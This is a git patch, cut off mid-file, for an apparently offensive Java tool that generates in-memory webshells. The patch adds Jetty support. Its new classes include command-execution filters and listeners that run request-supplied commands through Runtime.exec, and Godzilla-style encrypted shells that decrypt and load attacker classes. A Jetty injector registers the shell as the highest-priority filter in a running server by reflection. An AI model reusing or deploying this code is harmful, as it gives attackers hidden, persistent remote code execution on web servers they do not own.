From c9cd7c1eedf782c20d3d0ef7402ea7b5c95a2bee Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 7 Dec 2024 20:17:40 +0800 Subject: [PATCH] feat: support jetty shell generate --- .../com/reajason/javaweb/GeneratorMain.java | 27 +- .../reajason/javaweb/config/Constants.java | 7 + .../javaweb/godzilla/GodzillaManager.java | 4 +- .../javaweb/memsell/AbstractShell.java | 70 ++++ .../javaweb/memsell/jetty/JettyShell.java | 32 ++ .../memsell/jetty/command/CommandFilter.java | 48 +++ .../jetty/command/CommandListener.java | 74 +++++ .../jetty/godzilla/GodzillaFilter.java | 127 ++++++++ .../jetty/godzilla/GodzillaListener.java | 148 +++++++++ .../jetty/injector/JettyFilterInjector.java | 305 ++++++++++++++++++ .../jetty/injector/JettyListenerInjector.java | 253 +++++++++++++++ .../javaweb/memsell/tomcat/TomcatShell.java | 102 +----- .../tomcat/godzilla/GodzillaFilter.java | 0 .../jetty/docker-compose-6-jdk6.yaml | 9 + .../jetty/docker-compose-9.4-jre8.yaml | 10 + .../javaweb/integration/CommandShellTool.java | 5 +- .../integration/ShellAssertionTool.java | 12 +- .../reajason/javaweb/integration/VulTool.java | 1 + .../jetty/Jetty10ContainerTest.java | 52 +++ .../jetty/Jetty11ContainerTest.java | 51 +++ .../jetty/Jetty61ContainerTest.java | 60 ++++ .../jetty/Jetty76ContainerTest.java | 52 +++ .../jetty/Jetty81ContainerTest.java | 52 +++ .../jetty/Jetty92ContainerTest.java | 53 +++ .../jetty/Jetty93ContainerTest.java | 52 +++ .../jetty/Jetty94ContainerTest.java | 52 +++ .../tomcat/Tomcat10ContainerTest.java | 9 +- .../tomcat/Tomcat11ContainerTest.java | 9 +- .../tomcat/Tomcat6ContainerTest.java | 9 +- .../tomcat/Tomcat7ContainerTest.java | 9 +- .../tomcat/Tomcat8ContainerTest.java | 17 +- .../tomcat/Tomcat9ContainerTest.java | 9 +- .../src/main/java/TestServlet.java | 22 ++ .../src/main/java/UploadServlet.java | 2 +- .../src/main/webapp/WEB-INF/web.xml | 9 + vul-webapp/src/main/java/TestServlet.java | 22 ++ vul-webapp/src/main/java/UploadServlet.java | 2 +- 37 files changed, 1642 insertions(+), 135 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java create mode 100755 generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java mode change 100755 => 100644 generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java create mode 100644 integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml create mode 100644 integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java create mode 100644 vul-webapp-jakarta/src/main/java/TestServlet.java create mode 100644 vul-webapp/src/main/java/TestServlet.java diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 9c6390fb..71f82ddc 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,8 +1,10 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memsell.jetty.JettyShell; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.SneakyThrows; import java.io.IOException; @@ -11,19 +13,22 @@ import java.io.IOException; * @since 2024/11/24 */ public class GeneratorMain { + static TomcatShell tomcatShell = new TomcatShell(); + static JettyShell jettyShell = new JettyShell(); + public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.TOMCAT) + .server(Server.JETTY) .shellTool(ShellTool.Godzilla) - .shellType(TomcatShell.LISTENER).build(); + .shellType(Constants.FILTER).build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() - .pass("pass123") - .key("key123") + .pass("pass") + .key("key") .headerName("User-Agent") - .headerValue("test") + .headerValue("test123") .build(); - - byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine); + InjectorConfig injectorConfig = new InjectorConfig(); + byte[] bytes = generate(shellConfig, injectorConfig, godzillaConfig, Packer.INSTANCE.JSP); if (bytes != null) { System.out.println(new String(bytes)); } @@ -32,22 +37,24 @@ public class GeneratorMain { public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { switch (shellConfig.getServer()) { case TOMCAT: - return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig); + return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig); + case JETTY: + return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig); case BES: break; case RESIN: break; - case JETTY: - break; default: throw new IllegalArgumentException("Unsupported server"); } return null; } + @SneakyThrows public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); if (generateResult != null) { +// Files.write(Paths.get( injectorConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); return packerInstance.getPacker().pack(generateResult); } return null; diff --git a/generator/src/main/java/com/reajason/javaweb/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/config/Constants.java index 3d1affd2..d23118eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Constants.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Constants.java @@ -8,4 +8,11 @@ import net.bytebuddy.jar.asm.Opcodes; */ public class Constants { public static final int DEFAULT_VERSION = Opcodes.V1_6; + + public static final String SERVLET = "Servlet"; + public static final String JAKARTA_SERVLET = "JakartaServlet"; + public static final String FILTER = "Filter"; + public static final String JAKARTA_FILTER = "JakartaFilter"; + public static final String LISTENER = "Listener"; + public static final String JAKARTA_LISTENER = "JakartaListener"; } diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 88270e6d..d1d92185 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -140,7 +140,9 @@ public class GodzillaManager implements Closeable { if (response.isSuccessful()) { return true; } - } catch (IOException ignored) { + System.out.println(response.body().string()); + } catch (IOException e) { + e.printStackTrace(); } return false; } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java new file mode 100644 index 00000000..43a33e39 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java @@ -0,0 +1,70 @@ +package com.reajason.javaweb.memsell; + +import com.reajason.javaweb.config.*; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public abstract class AbstractShell { + protected final Map, Class>> godzillaShellMap = new HashMap<>(); + protected final Map, Class>> commandShellMap = new HashMap<>(); + + public AbstractShell() { + initializeShellMaps(); + } + + /** + * setup map + */ + protected abstract void initializeShellMaps(); + + public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { + Class injectorClass = injectorConfig.getInjectorClass(); + byte[] shellBytes; + + Pair, Class> classPair = getClassPair(shellConfig); + + if (injectorClass == null) { + injectorClass = classPair.getRight(); + } + shellToolConfig.setClazz(classPair.getLeft()); + + shellBytes = generateShellBytes(shellConfig, shellToolConfig); + + injectorConfig = injectorConfig + .toBuilder() + .injectorClass(injectorClass) + .shellClassName(shellToolConfig.getClassName()) + .shellClassBytes(shellBytes).build(); + + byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig); + + return GenerateResult.builder() + .shellConfig(shellConfig) + .shellToolConfig(shellToolConfig) + .injectorConfig(injectorConfig) + .shellClassName(shellToolConfig.getClassName()) + .shellBytes(shellBytes) + .injectorClassName(injectorClass.getName()) + .injectorBytes(injectorBytes) + .build(); + } + + private Pair, Class> getClassPair(ShellConfig shellConfig) { + Map, Class>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap; + return shellMap.get(shellConfig.getShellType()); + } + + private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + return switch (shellConfig.getShellTool()) { + case Godzilla -> GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig); + case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); + default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); + }; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java new file mode 100644 index 00000000..0493b096 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb.memsell.jetty; + +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.jetty.command.CommandFilter; +import com.reajason.javaweb.memsell.jetty.command.CommandListener; +import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector; +import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import static com.reajason.javaweb.config.Constants.*; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class JettyShell extends AbstractShell { + + @Override + protected void initializeShellMaps() { + godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); + godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); + godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)); + godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)); + + commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); + commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); + commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); + commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java new file mode 100644 index 00000000..1cf0cac8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.jetty.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String paramName = "{{paramName}}"; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java new file mode 100644 index 00000000..f6a32a2f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.memsell.jetty.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); + } + return response; + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java new file mode 100755 index 00000000..8e857eff --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memsell.jetty.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java new file mode 100644 index 00000000..51179bd3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java @@ -0,0 +1,148 @@ +package com.reajason.javaweb.memsell.jetty.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java new file mode 100644 index 00000000..d5076daa --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java @@ -0,0 +1,305 @@ +package com.reajason.javaweb.memsell.jetty.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * tested v8、v9 + * + * @author ReaJason + */ + +public class JettyFilterInjector { + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new JettyFilterInjector(); + } + + public JettyFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + public void addFilter(Object context, Object magicFilter) { + Class filterClass = magicFilter.getClass(); + try { + Object servletHandler = getFV(context, "_servletHandler"); + + // 1. 判断是否已经注入 + if (isInjected(servletHandler)) { + System.out.println("filter is already injected"); + return; + } + + Class filterHolderClass = null; + try { + filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder"); + } catch (ClassNotFoundException e) { + filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder"); + } + Constructor constructor = filterHolderClass.getConstructor(Class.class); + Object filterHolder = constructor.newInstance(filterClass); + invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); + + // 2. 注入内存马Filter + invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); + + // 3. 修改Filter的优先级为第一位 + Object filterMaps = getFV(servletHandler, "_filterMappings"); + int filterLength = Array.getLength(filterMaps); + ArrayList reorderedFilters = new ArrayList(); + for (int i = 0; i < filterLength; i++) { + Object filter = Array.get(filterMaps, i); + String filterName = (String) getFV(filter, "_filterName"); + if (filterName.equals(getClassName())) { + reorderedFilters.add(0, filter); + } else { + reorderedFilters.add(filter); + } + } + for (int i = 0; i < filterLength; i++) { + Array.set(filterMaps, i, reorderedFilters.get(i)); + } + + try { + // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题 + invokeMethod(servletHandler, "invalidateChainsCache"); + } catch (Exception e) { + System.out.println("invalidateChainsCache error"); + e.printStackTrace(); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + System.out.printf("contextSize: %s%n", contexts.size()); + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + private Object getFilter(Object context) { + Object obj = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + return obj; + } + + public boolean isInjected(Object servletHandler) throws Exception { + try { + Object filterMaps = getFV(servletHandler, "_filterMappings"); + for (int i = 0; i < Array.getLength(filterMaps); i++) { + Object filter = Array.get(filterMaps, i); + String filterName = (String) getFV(filter, "_filterName"); + if (filterName.equals(getClassName())) { + return true; + } + } + } catch (Exception e) { + return false; + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = 